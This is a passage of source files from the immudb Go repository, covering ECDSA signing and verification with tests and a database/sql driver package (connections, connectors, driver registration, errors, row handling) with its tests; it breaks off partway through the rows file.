verify verifies a signed payload\nfunc Verify(payload []byte, signature []byte, publicKey *ecdsa.PublicKey) error {\n\thash := sha256.Sum256(payload)\n\tes := ecdsaSignature{}\n\tif _, err := asn1.Unmarshal(signature, &es); err != nil {\n\t\treturn fmt.Errorf(\"%w: %v\", ErrKeyCannotBeVerified, err)\n\t}\n\tif !ecdsa.Verify(publicKey, hash[:], es.R, es.S) {\n\t\treturn ErrKeyCannotBeVerified\n\t}\n\treturn nil\n}\n\nfunc ParsePublicKeyFile(filePath string) (*ecdsa.PublicKey, error) {\n\tpublicKeyBytes, err := ioutil.ReadFile(filePath)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tpublicKeyBlock, _ := pem.Decode(publicKeyBytes)\n\tif publicKeyBlock == nil {\n\t\treturn nil, errors.New(\"no ecdsa key found in provided public key file\")\n\t}\n\tcert, err := x509.ParsePKIXPublicKey(publicKeyBlock.Bytes)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn cert.(*ecdsa.PublicKey), nil\n}\n"
  },
  {
    "path": "pkg/signer/ecdsa_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage signer\n\nimport (\n\t\"crypto/sha256\"\n\t\"crypto/x509\"\n\t\"encoding/asn1\"\n\t\"encoding/pem\"\n\t\"io\"\n\t\"io/ioutil\"\n\t\"math/big\"\n\t\"strings\"\n\t\"syscall\"\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestNewSigner(t *testing.T) {\n\ts, err := NewSigner(\"./../../test/signer/ec3.key\")\n\trequire.NoError(t, err)\n\tvar i interface{} = s\n\t_, ok := i.(Signer)\n\trequire.True(t, ok)\n}\n\nfunc TestNewSignerFromPKey(t *testing.T) {\n\tprivateKeyBytes, _ := ioutil.ReadFile(\"./../../test/signer/ec3.key\")\n\tprivateKeyBlock, _ := pem.Decode(privateKeyBytes)\n\tpk, _ := x509.ParseECPrivateKey(privateKeyBlock.Bytes)\n\tr := strings.NewReader(\"\")\n\ts := NewSignerFromPKey(r, pk)\n\tvar i interface{} = s\n\t_, ok := i.(Signer)\n\trequire.True(t, ok)\n}\n\nfunc TestNewSignerKeyNotExistent(t *testing.T) {\n\ts, err := NewSigner(\"./not_exists\")\n\trequire.ErrorIs(t, err, syscall.ENOENT)\n\trequire.Nil(t, s)\n}\n\nfunc TestNewSignerNoKeyFound(t *testing.T) {\n\ts, err := NewSigner(\"./../../test/signer/unparsable.key\")\n\trequire.ErrorContains(t, err, \"no ecdsa key found in provided signing key file\")\n\trequire.Nil(t, s)\n}\n\nfunc TestNewSignerKeyUnparsable(t *testing.T) {\n\ts, err := NewSigner(\"./../../test/signer/ec3.pub\")\n\trequire.ErrorContains(t, err, \"x509: failed to parse EC private key\")\n\trequire.Nil(t, s)\n}\n\nfunc TestSignature_Sign(t *testing.T) {\n\ts, err := NewSigner(\"./../../test/signer/ec3.key\")\n\trequire.NoError(t, err)\n\trawMessage := sha256.Sum256([]byte(`myhash`))\n\t_, _, err = s.Sign(rawMessage[:])\n\trequire.NoError(t, err)\n}\n\nfunc TestSignature_SignError(t *testing.T) {\n\tprivateKeyBytes, _ := ioutil.ReadFile(\"./../../test/signer/ec3.key\")\n\tprivateKeyBlock, _ := pem.Decode(privateKeyBytes)\n\tpk, _ := x509.ParseECPrivateKey(privateKeyBlock.Bytes)\n\n\tr := strings.NewReader(\"\")\n\ts := NewSignerFromPKey(r, pk)\n\t_, _, err := s.Sign([]byte(``))\n\trequire.ErrorIs(t, err, io.EOF)\n}\n\nfunc TestSignature_Verify(t *testing.T) {\n\ts, err := NewSigner(\"./../../test/signer/ec3.key\")\n\trequire.NoError(t, err)\n\n\trawMessage := sha256.Sum256([]byte(`myhash`))\n\tsignature, publicKey, _ := s.Sign(rawMessage[:])\n\tecdsaPK, err := UnmarshalKey(publicKey)\n\trequire.NoError(t, err)\n\terr = Verify(rawMessage[:], signature, ecdsaPK)\n\trequire.NoError(t, err)\n}\n\nfunc TestSignature_VerifyError(t *testing.T) {\n\ts, err := NewSigner(\"./../../test/signer/ec3.key\")\n\trequire.NoError(t, err)\n\n\trawMessage := sha256.Sum256([]byte(`myhash`))\n\t_, publicKey, _ := s.Sign(rawMessage[:])\n\tecdsaPK, err := UnmarshalKey(publicKey)\n\trequire.NoError(t, err)\n\terr = Verify(rawMessage[:], []byte(`wrongsignature`), ecdsaPK)\n\trequire.ErrorIs(t, err, ErrKeyCannotBeVerified)\n}\n\nfunc TestSignature_VerifyFalse(t *testing.T) {\n\ts, err := NewSigner(\"./../../test/signer/ec3.key\")\n\trequire.NoError(t, err)\n\trawMessage := sha256.Sum256([]byte(`myhash`))\n\t_, publicKey, _ := s.Sign(rawMessage[:])\n\tsigToMarshal := ecdsaSignature{R: &big.Int{}, S: &big.Int{}}\n\tm, _ := asn1.Marshal(sigToMarshal)\n\tecdsaPK, err := UnmarshalKey(publicKey)\n\trequire.NoError(t, err)\n\terr = Verify(rawMessage[:], m, ecdsaPK)\n\trequire.ErrorIs(t, err, ErrKeyCannotBeVerified)\n}\n\nfunc TestUnmarshalKey_Error(t *testing.T) {\n\tecdsaPK, err := UnmarshalKey([]byte(`wrongkey`))\n\trequire.Nil(t, ecdsaPK)\n\trequire.ErrorIs(t, err, ErrInvalidPublicKey)\n}\n"
  },
  {
    "path": "pkg/signer/signer.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage signer\n\ntype Signer interface {\n\tSign(payload []byte) (signature []byte, publicKey []byte, err error)\n}\n"
  },
  {
    "path": "pkg/stdlib/connection.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage stdlib\n\nimport (\n\t\"context\"\n\t\"database/sql/driver\"\n\n\t\"github.com/codenotary/immudb/pkg/api/schema\"\n\t\"github.com/codenotary/immudb/pkg/client\"\n)\n\ntype Conn struct {\n\tname       string\n\timmuClient client.ImmuClient\n\toptions    *client.Options\n\tdriver     *Driver\n\ttx         client.Tx\n}\n\n// Conn returns the underlying client.ImmuClient\nfunc (c *Conn) GetImmuClient() client.ImmuClient {\n\treturn c.immuClient\n}\n\nfunc (c *Conn) Prepare(query string) (driver.Stmt, error) {\n\treturn nil, ErrNotImplemented\n}\n\nfunc (c *Conn) PrepareContext(ctx context.Context, query string) (driver.Stmt, error) {\n\treturn nil, ErrNotImplemented\n}\n\nfunc (c *Conn) Close() error {\n\treturn c.immuClient.CloseSession(context.Background())\n}\n\nfunc (c *Conn) ExecContext(ctx context.Context, query string, argsV []driver.NamedValue) (driver.Result, error) {\n\tif !c.immuClient.IsConnected() {\n\t\treturn nil, driver.ErrBadConn\n\t}\n\n\tvals, err := namedValuesToSqlMap(argsV)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tif c.tx != nil {\n\t\terr = c.tx.SQLExec(ctx, query, vals)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\treturn RowsAffected{&schema.SQLExecResult{\n\t\t\tOngoingTx: true,\n\t\t}}, nil\n\t}\n\n\texecResult, err := c.immuClient.SQLExec(ctx, query, vals)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn RowsAffected{execResult}, err\n}\n\nfunc (c *Conn) QueryContext(ctx context.Context, query string, argsV []driver.NamedValue) (driver.Rows, error) {\n\tif !c.immuClient.IsConnected() {\n\t\treturn nil, driver.ErrBadConn\n\t}\n\n\tvals, err := namedValuesToSqlMap(argsV)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tif c.tx != nil {\n\t\treader, err := c.tx.SQLQueryReader(ctx, query, vals)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\treturn newRows(reader), nil\n\t}\n\n\treader, err := c.immuClient.SQLQueryReader(ctx, query, vals)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn newRows(reader), nil\n}\n\nfunc (c *Conn) CheckNamedValue(nv *driver.NamedValue) error {\n\t// driver.Valuer interface is used instead\n\treturn nil\n}\n\nfunc (c *Conn) ResetSession(ctx context.Context) error {\n\tif !c.immuClient.IsConnected() {\n\t\treturn driver.ErrBadConn\n\t}\n\treturn ErrNotImplemented\n}\n"
  },
  {
    "path": "pkg/stdlib/connection_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage stdlib\n\nimport (\n\t\"context\"\n\t\"database/sql/driver\"\n\t\"fmt\"\n\t\"testing\"\n\t\"time\"\n\n\t\"github.com/codenotary/immudb/pkg/client\"\n\t\"github.com/codenotary/immudb/pkg/server\"\n\t\"github.com/codenotary/immudb/pkg/server/servertest\"\n\t\"github.com/stretchr/testify/require\"\n\t\"google.golang.org/grpc\"\n\t\"google.golang.org/grpc/credentials/insecure\"\n)\n\nfunc TestConn(t *testing.T) {\n\tport, cleanup := testServer(t)\n\tdefer cleanup()\n\n\topts := client.DefaultOptions().\n\t\tWithDir(t.TempDir()).\n\t\tWithPort(port)\n\topts.Username = \"immudb\"\n\topts.Password = \"immudb\"\n\topts.Database = \"defaultdb\"\n\n\tcli, err := client.NewImmuClient(opts)\n\trequire.NoError(t, err)\n\n\tctx, cancel := context.WithTimeout(context.Background(), 1*time.Minute)\n\tdefer cancel()\n\t_, err = cli.Login(ctx, []byte(opts.Username), []byte(opts.Password))\n\trequire.NoError(t, err)\n\n\tc := Conn{\n\t\timmuClient: cli,\n\t}\n\n\ticli := c.GetImmuClient()\n\trequire.IsType(t, new(client.ImmuClient), &icli)\n}\n\nfunc TestConnErr(t *testing.T) {\n\tc := Conn{\n\t\timmuClient: client.NewClient(),\n\t\toptions:    client.DefaultOptions(),\n\t}\n\n\t_, err := c.Prepare(\"\")\n\trequire.ErrorIs(t, err, ErrNotImplemented)\n\n\t_, err = c.PrepareContext(context.Background(), \"\")\n\trequire.ErrorIs(t, err, ErrNotImplemented)\n\n\t_, err = c.Begin()\n\trequire.ErrorIs(t, err, driver.ErrBadConn)\n\n\t_, err = c.BeginTx(context.Background(), driver.TxOptions{})\n\trequire.ErrorIs(t, err, driver.ErrBadConn)\n\n\t_, err = c.ExecContext(context.Background(), \"\", nil)\n\trequire.ErrorIs(t, err, driver.ErrBadConn)\n\n\t_, err = c.QueryContext(context.Background(), \"\", nil)\n\trequire.ErrorIs(t, err, driver.ErrBadConn)\n\n\terr = c.ResetSession(context.Background())\n\trequire.ErrorIs(t, err, driver.ErrBadConn)\n\n\tris := c.CheckNamedValue(nil)\n\trequire.Nil(t, ris)\n}\n\nfunc TestConn_QueryContextErr(t *testing.T) {\n\toptions := server.DefaultOptions().WithAuth(true).WithDir(t.TempDir())\n\tbs := servertest.NewBufconnServer(options)\n\n\tbs.Start()\n\tdefer bs.Stop()\n\n\topts := client.DefaultOptions().WithDir(t.TempDir())\n\n\topts.Username = \"immudb\"\n\topts.Password = \"immudb\"\n\topts.Database = \"defaultdb\"\n\n\topts.WithDialOptions([]grpc.DialOption{grpc.WithContextDialer(bs.Dialer), grpc.WithTransportCredentials(insecure.NewCredentials())})\n\n\tdb := OpenDB(opts)\n\tdefer db.Close()\n\n\t_, err := db.QueryContext(context.Background(), \"query\", 10.5)\n\trequire.ErrorContains(t, err, \"syntax error: unexpected IDENTIFIER\")\n\n\t_, err = db.ExecContext(context.Background(), \"INSERT INTO myTable(id, name) VALUES (2, 'immu2')\")\n\trequire.ErrorContains(t, err, \"table does not exist (mytable)\")\n\n\t_, err = db.QueryContext(context.Background(), \"SELECT * FROM myTable\")\n\trequire.ErrorContains(t, err, \"table does not exist (mytable)\")\n}\n\nfunc TestConn_QueryContext(t *testing.T) {\n\tport, cleanup := testServer(t)\n\tdefer cleanup()\n\n\topts := client.DefaultOptions().WithDir(t.TempDir()).WithPort(port)\n\topts.Username = \"immudb\"\n\topts.Password = \"immudb\"\n\topts.Database = \"defaultdb\"\n\n\tcli, err := client.NewImmuClient(opts)\n\trequire.NoError(t, err)\n\n\tctx, cancel := context.WithTimeout(context.Background(), 1*time.Minute)\n\tdefer cancel()\n\t_, err = cli.Login(ctx, []byte(opts.Username), []byte(opts.Password))\n\trequire.NoError(t, err)\n\n\tc := Conn{\n\t\timmuClient: cli,\n\t}\n\n\ttable := \"mytable\"\n\tresult, err := c.ExecContext(context.Background(), fmt.Sprintf(\"CREATE TABLE %s (id INTEGER, amount INTEGER, total INTEGER, title VARCHAR, content BLOB, isPresent BOOLEAN, PRIMARY KEY id)\", table), nil)\n\trequire.NoError(t, err)\n\trequire.NotNil(t, result)\n\n\tbinaryContent := []byte(\"my blob content1\")\n\targsV := []driver.NamedValue{\n\t\t{Name: \"id\", Value: 1},\n\t\t{Name: \"amount\", Value: 100},\n\t\t{Name: \"total\", Value: 200},\n\t\t{Name: \"title\", Value: \"title 1\"},\n\t\t{Name: \"content\", Value: binaryContent},\n\t\t{Name: \"isPresent\", Value: true},\n\t}\n\t_, err = c.ExecContext(context.Background(), fmt.Sprintf(\"INSERT INTO %s (id, amount, total, title, content, isPresent) VALUES (?, ?, ?, ?, ?, ?)\", table), argsV)\n\trequire.NoError(t, err)\n\n\trows, err := c.QueryContext(ctx, \"SELECT * FROM myTable limit 1\", nil)\n\trequire.NoError(t, err)\n\tdefer rows.Close()\n\n\tdst := make([]driver.Value, 6)\n\trows.Next(dst)\n\n\trequire.Equal(t, int64(1), dst[0])\n\trequire.Equal(t, int64(100), dst[1])\n\trequire.Equal(t, int64(200), dst[2])\n\trequire.Equal(t, \"title 1\", dst[3])\n\trequire.Equal(t, binaryContent, dst[4])\n\trequire.Equal(t, true, dst[5])\n}\n\nfunc TestConn_QueryContextEmptyTable(t *testing.T) {\n\tport, cleanup := testServer(t)\n\tdefer cleanup()\n\n\topts := client.DefaultOptions().WithDir(t.TempDir()).WithPort(port)\n\topts.Username = \"immudb\"\n\topts.Password = \"immudb\"\n\topts.Database = \"defaultdb\"\n\n\tcli, err := client.NewImmuClient(opts)\n\trequire.NoError(t, err)\n\n\tctx, cancel := context.WithTimeout(context.Background(), 1*time.Minute)\n\tdefer cancel()\n\t_, err = cli.Login(ctx, []byte(opts.Username), []byte(opts.Password))\n\trequire.NoError(t, err)\n\n\tc := Conn{\n\t\timmuClient: cli,\n\t}\n\n\ttable := \"emptytable\"\n\tresult, err := c.ExecContext(context.Background(), fmt.Sprintf(\"CREATE TABLE %s (id INTEGER, amount INTEGER, total INTEGER, title VARCHAR, content BLOB, isPresent BOOLEAN, PRIMARY KEY id)\", table), nil)\n\trequire.NoError(t, err)\n\trequire.NotNil(t, result)\n\n\trows, err := c.QueryContext(ctx, \"SELECT * FROM emptytable limit 1\", nil)\n\trequire.NoError(t, err)\n\tdefer rows.Close()\n\n\tcols := rows.Columns()\n\trequire.Equal(t, len(cols), 6)\n}\n\n/*func TestConn_Ping(t *testing.T) {\n\toptions := server.DefaultOptions().WithAuth(true)\n\tbs := servertest.NewBufconnServer(options)\n\n\tbs.Start()\n\tdefer bs.Stop()\n\n\tdefer os.RemoveAll(options.Dir)\n\tdefer os.Remove(\".state-\")\n\n\topts := client.DefaultOptions()\n\topts.Username = \"immudb\"\n\topts.Password = \"immudb\"\n\topts.Database = \"defaultdb\"\n\n\topts.WithDialOptions([]grpc.DialOption{grpc.WithContextDialer(bs.Dialer), grpc.WithTransportCredentials(insecure.NewCredentials())})\n\n\tdb := OpenDB(opts)\n\tdefer db.Close()\n\tdri := db.Driver()\n\n\tconn, err := dri.Open(GetUri(opts))\n\trequire.NoError(t, err)\n\n\timmuConn := conn.(driver.Pinger)\n\n\terr = immuConn.Ping(context.Background())\n\trequire.NoError(t, err)\n}*/\n"
  },
  {
    "path": "pkg/stdlib/connector.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage stdlib\n\nimport (\n\t\"context\"\n\t\"database/sql/driver\"\n)\n\ntype driverConnector struct {\n\tname   string\n\tdriver *Driver\n}\n\n// Connect implement driver.Connector interface\nfunc (c *driverConnector) Connect(ctx context.Context) (conn driver.Conn, err error) {\n\tc.driver.configMutex.Lock()\n\timmuClientOption := c.driver.clientOptions[c.name]\n\tc.driver.configMutex.Unlock()\n\n\tif immuClientOption == nil {\n\t\timmuClientOption, err = ParseConfig(c.name)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\treturn c.driver.getNewConnByOptions(ctx, immuClientOption)\n}\n\nfunc (dc *driverConnector) Driver() driver.Driver {\n\treturn dc.driver\n}\n"
  },
  {
    "path": "pkg/stdlib/connector_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage stdlib\n\nimport (\n\t\"database/sql\"\n\t\"testing\"\n\n\t\"github.com/codenotary/immudb/pkg/client\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestDriverConnector_Connect(t *testing.T) {\n\tport, cleanup := testServer(t)\n\tdefer cleanup()\n\n\tconnStr := RegisterConnConfig(client.DefaultOptions().WithPort(port).WithDir(t.TempDir()))\n\n\tdb, err := sql.Open(\"immudb\", connStr)\n\trequire.NoError(t, err)\n\trequire.NotNil(t, db)\n}\n\nfunc TestDriverConnector_ConnectParseError(t *testing.T) {\n\tconn, err := immuDriver.Open(\"not parsable string\")\n\trequire.ErrorIs(t, err, ErrBadQueryString)\n\trequire.Nil(t, conn)\n}\n\nfunc TestDriverConnector_Driver(t *testing.T) {\n\tc := driverConnector{\n\t\tdriver: immuDriver,\n\t}\n\td := c.Driver()\n\trequire.IsType(t, &Driver{}, d)\n}\n"
  },
  {
    "path": "pkg/stdlib/driver.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage stdlib\n\nimport (\n\t\"context\"\n\t\"database/sql\"\n\t\"database/sql/driver\"\n\t\"fmt\"\n\t\"sync\"\n\t\"time\"\n\n\t\"github.com/codenotary/immudb/pkg/client\"\n)\n\nvar immuDriver *Driver\n\nfunc init() {\n\n\timmuDriver = &Driver{\n\t\tclientOptions: make(map[string]*client.Options),\n\t}\n\tsql.Register(\"immudb\", immuDriver)\n}\n\nfunc OpenDB(cliOpts *client.Options) *sql.DB {\n\tc := &immuConnector{\n\t\tcliOptions: cliOpts,\n\t\tdriver:     immuDriver,\n\t}\n\treturn sql.OpenDB(c)\n}\n\nfunc Open(dns string) *sql.DB {\n\tc := &driverConnector{\n\t\tdriver: immuDriver,\n\t\tname:   dns,\n\t}\n\treturn sql.OpenDB(c)\n}\n\ntype Driver struct {\n\tconfigMutex   sync.Mutex\n\tclientOptions map[string]*client.Options\n\tsequence      int\n}\n\nfunc (d *Driver) Open(name string) (driver.Conn, error) {\n\tctx, cancel := context.WithTimeout(context.Background(), 60*time.Second) // Ensure eventual timeout\n\tdefer cancel()\n\n\tconnector, err := d.OpenConnector(name)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn connector.Connect(ctx)\n}\n\nfunc (d *Driver) OpenConnector(name string) (driver.Connector, error) {\n\treturn &driverConnector{driver: d, name: name}, nil\n}\n\nfunc (d *Driver) registerConnConfig(opt *client.Options) string {\n\td.configMutex.Lock()\n\tconnStr := fmt.Sprintf(\"registeredConnConfig%d\", d.sequence)\n\td.sequence++\n\td.clientOptions[connStr] = opt\n\td.configMutex.Unlock()\n\treturn connStr\n}\n\nfunc (d *Driver) unregisterConnConfig(connStr string) {\n\td.configMutex.Lock()\n\tdelete(d.clientOptions, connStr)\n\td.configMutex.Unlock()\n}\n\n// RegisterConnConfig registers a ConnConfig and returns the connection string to use with Open.\nfunc RegisterConnConfig(clientOptions *client.Options) string {\n\treturn immuDriver.registerConnConfig(clientOptions)\n}\n\n// UnregisterConnConfig removes the ConnConfig registration for connStr.\nfunc UnregisterConnConfig(connStr string) {\n\timmuDriver.unregisterConnConfig(connStr)\n}\nfunc (d *Driver) getNewConnByOptions(ctx context.Context, cliOptions *client.Options) (*Conn, error) {\n\timmuClient := client.NewClient().WithOptions(cliOptions)\n\n\tname := GetUri(cliOptions)\n\n\terr := immuClient.OpenSession(ctx, []byte(cliOptions.Username), []byte(cliOptions.Password), cliOptions.Database)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tcn := &Conn{\n\t\tname:       name,\n\t\timmuClient: immuClient,\n\t\toptions:    cliOptions,\n\t\tdriver:     d,\n\t}\n\n\treturn cn, nil\n}\n"
  },
  {
    "path": "pkg/stdlib/driver_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage stdlib\n\nimport (\n\t\"context\"\n\t\"fmt\"\n\t\"testing\"\n\n\t\"github.com/codenotary/immudb/pkg/client\"\n\t\"github.com/codenotary/immudb/pkg/server\"\n\t\"github.com/codenotary/immudb/pkg/server/servertest\"\n\t\"github.com/stretchr/testify/require\"\n\t\"google.golang.org/grpc\"\n\t\"google.golang.org/grpc/credentials/insecure\"\n)\n\nfunc TestRegisterConnConfig(t *testing.T) {\n\toptions := server.DefaultOptions().WithAuth(true).WithDir(t.TempDir())\n\tbs := servertest.NewBufconnServer(options)\n\n\tbs.Start()\n\tdefer bs.Stop()\n\n\topts := client.DefaultOptions().WithDir(t.TempDir())\n\topts.Username = \"immudb\"\n\topts.Password = \"immudb\"\n\topts.Database = \"defaultdb\"\n\n\topts.WithDialOptions([]grpc.DialOption{grpc.WithContextDialer(bs.Dialer), grpc.WithTransportCredentials(insecure.NewCredentials())})\n\n\tdb := OpenDB(opts)\n\tdefer db.Close()\n\n\tconnStr := RegisterConnConfig(opts)\n\tdefer UnregisterConnConfig(connStr)\n\n\tdb = Open(connStr)\n\t_, err := db.ExecContext(context.Background(), fmt.Sprintf(\"CREATE TABLE %s (id INTEGER, amount INTEGER, total INTEGER, title VARCHAR, content BLOB, isPresent BOOLEAN, PRIMARY KEY id)\", \"myTable\"))\n\trequire.NoError(t, err)\n\n}\n"
  },
  {
    "path": "pkg/stdlib/errors.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage stdlib\n\nimport \"errors\"\n\nvar ErrNotImplemented = errors.New(\"not implemented\")\nvar ErrFloatValuesNotSupported = errors.New(\"float values are not yet supported by immudb\")\nvar ErrTimeValuesNotSupported = errors.New(\"time values are not yet supported by immudb\")\nvar ErrBadQueryString = errors.New(\"bad query string. use format immudb://username:secret@host:port/db\")\n"
  },
  {
    "path": "pkg/stdlib/immuConnector.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage stdlib\n\nimport (\n\t\"context\"\n\t\"database/sql/driver\"\n\n\t\"github.com/codenotary/immudb/pkg/client\"\n)\n\ntype immuConnector struct {\n\tcliOptions *client.Options\n\tdriver     *Driver\n}\n\nfunc (c immuConnector) Driver() driver.Driver {\n\treturn c.driver\n}\n\nfunc (c immuConnector) Connect(ctx context.Context) (driver.Conn, error) {\n\treturn c.driver.getNewConnByOptions(ctx, c.cliOptions)\n}\n"
  },
  {
    "path": "pkg/stdlib/rows.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage stdlib\n\nimport (\n\t\"database/sql/driver\"\n\t\"errors\"\n\t\"io\"\n\t\"math\"\n\t\"reflect\"\n\t\"strconv\"\n\t\"strings\"\n\t\"time\"\n\n\t\"github.com/codenotary/immudb/embedded/sql\"\n\t\"github.com/codenotary/immudb/pkg/api/schema\"\n\t\"github.com/codenotary/immudb/pkg/client\"\n)\n\ntype Rows struct {\n\treader  client.SQLQueryRowReader\n\tcolumns []client.Column\n}\n\nfunc newRows(reader client.SQLQueryRowReader) *Rows {\n\treturn &Rows{\n\t\treader:  reader,\n\t\tcolumns: reader.Columns(),\n\t}\n}\n\nfunc (r *Rows) Columns() []string {\n\tnames := make([]string, 0)\n\tfor _, n := range r.columns {\n\t\tname := n.Name[strings.LastIndex(n.Name, \".\")+1 : len(n.Name)-1]\n\t\tnames = append(names, string(name))\n\t}\n\treturn names\n}\n\n// ColumnTypeDatabaseTypeName\n//\n//\tIntegerType   SQLValueType = \"INTEGER\"\n//\tBooleanType   SQLValueType = \"BOOLEAN\"\n//\tVarcharType   SQLValueType = \"VARCHAR\"\n//\tBLOBType      SQLValueType = \"BLOB\"\n//\tTimestampType SQLValueType = \"TIMESTAMP\"\n//\tAnyType       SQLValueType = \"ANY\"\nfunc (r *Rows) ColumnTypeDatabaseTypeName(index int) string {\n\tif index >= len(r.columns) {\n\t\treturn \"\"\n\t}\n\treturn r.columns[index].Type\n}\n\n// ColumnTypeLength If length is not limited other than system limits, it should return math.MaxInt64\nfunc (r *Rows) ColumnTypeLength(index int) (int64, bool) {\n\tif index >= len(r.columns) {\n\t\treturn 0, false\n\t}\n\n\tcol := r.columns[index]\n\n\tswitch col.Type {\n\tcase sql.IntegerType:\n\t\treturn 8, false\n\tcase sql.VarcharType:\n\t\treturn math.MaxInt64, true\n\tcase sql.BooleanType:\n\t\treturn 1, false\n\tcase sql.BLOBType:\n\t\treturn math.MaxInt64, true\n\tcase sql.TimestampType:\n\t\treturn math.MaxInt64, true\n\tdefault:\n\t\treturn math.MaxInt64, true\n\t}\n}\n\n// ColumnTypePrecisionScale should return the precision and scale for decimal\n// types. If not applicable, variableLength should be false.\nfunc (r *Rows) ColumnTypePrecisionScale(index int) (precision, scale int64, ok bool) {\n\treturn 0, 0, false\n}\n\n// ColumnTypeScanType returns the value type that can be used to scan types into.\nfunc (r *Rows) ColumnTypeScanType(index int) reflect.Type {\n\tif index >= len(r.columns) {\n\t\treturn nil\n\t}\n\n\tcol := 